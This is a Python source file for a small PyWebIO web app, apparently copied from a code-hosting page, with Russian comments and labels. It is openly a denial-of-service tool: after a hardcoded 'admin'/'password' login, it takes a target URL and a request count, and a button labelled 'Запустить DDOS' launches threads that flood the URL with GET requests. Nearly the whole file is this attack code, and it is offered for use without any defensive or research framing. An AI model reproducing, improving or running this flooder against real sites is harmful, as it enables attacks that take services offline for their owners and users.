75 lines
2.4 KiB
Python
75 lines
2.4 KiB
Python
|
|
import asyncio
|
|||
|
|
import multiprocessing
|
|||
|
|
import threading
|
|||
|
|
import requests
|
|||
|
|
from pywebio.input import input, TEXT, PASSWORD, NUMBER
|
|||
|
|
from pywebio.output import put_text, put_button, clear, put_error, put_success
|
|||
|
|
from pywebio import start_server
|
|||
|
|
import aiohttp
|
|||
|
|
import time
|
|||
|
|
|
|||
|
|
|
|||
|
|
def send_multiple_requests(url, num_threads):
|
|||
|
|
"""
|
|||
|
|
Отправляет указанное количество запросов к заданному URL, используя многопоточность.
|
|||
|
|
Обрабатывает исключения и включает паузу при ошибках.
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: URL, к которому отправлять запросы.
|
|||
|
|
num_threads: Количество потоков.
|
|||
|
|
"""
|
|||
|
|
threads = []
|
|||
|
|
for i in range(num_threads):
|
|||
|
|
thread = threading.Thread(target=send_single_request, args=(url,))
|
|||
|
|
threads.append(thread)
|
|||
|
|
thread.start()
|
|||
|
|
|
|||
|
|
for thread in threads:
|
|||
|
|
thread.join()
|
|||
|
|
|
|||
|
|
def send_single_request(url):
|
|||
|
|
while True:
|
|||
|
|
try:
|
|||
|
|
response = requests.get(url)
|
|||
|
|
print(f"Request sent! Status code: {response.status_code}")
|
|||
|
|
break # Выходим из цикла после успешного запроса
|
|||
|
|
except Exception as e:
|
|||
|
|
print(f"An error occurred: {e}")
|
|||
|
|
time.sleep(1)
|
|||
|
|
|
|||
|
|
|
|||
|
|
async def authenticated_page():
|
|||
|
|
put_text("Вы успешно авторизовались!")
|
|||
|
|
url = await input('URL сайта (с http:// или https://)', type=TEXT)
|
|||
|
|
try:
|
|||
|
|
num_requests = int(await input('Количество запросов', type=NUMBER))
|
|||
|
|
except ValueError:
|
|||
|
|
put_error("Некорректное количество запросов.")
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
put_button("Запустить DDOS", onclick=lambda: send_multiple_requests(url, num_requests))
|
|||
|
|
|
|||
|
|
|
|||
|
|
async def login_page():
|
|||
|
|
while True:
|
|||
|
|
username = await input("Логин:", type=TEXT)
|
|||
|
|
password = await input("Пароль:", type=PASSWORD)
|
|||
|
|
|
|||
|
|
if username == "admin" and password == "password":
|
|||
|
|
clear()
|
|||
|
|
await authenticated_page()
|
|||
|
|
break
|
|||
|
|
else:
|
|||
|
|
put_error("Неверный логин или пароль.")
|
|||
|
|
clear("login")
|
|||
|
|
|
|||
|
|
|
|||
|
|
async def main():
|
|||
|
|
clear()
|
|||
|
|
await login_page()
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
start_server(main, debug=True, port=9999)
|
|||
|
|
|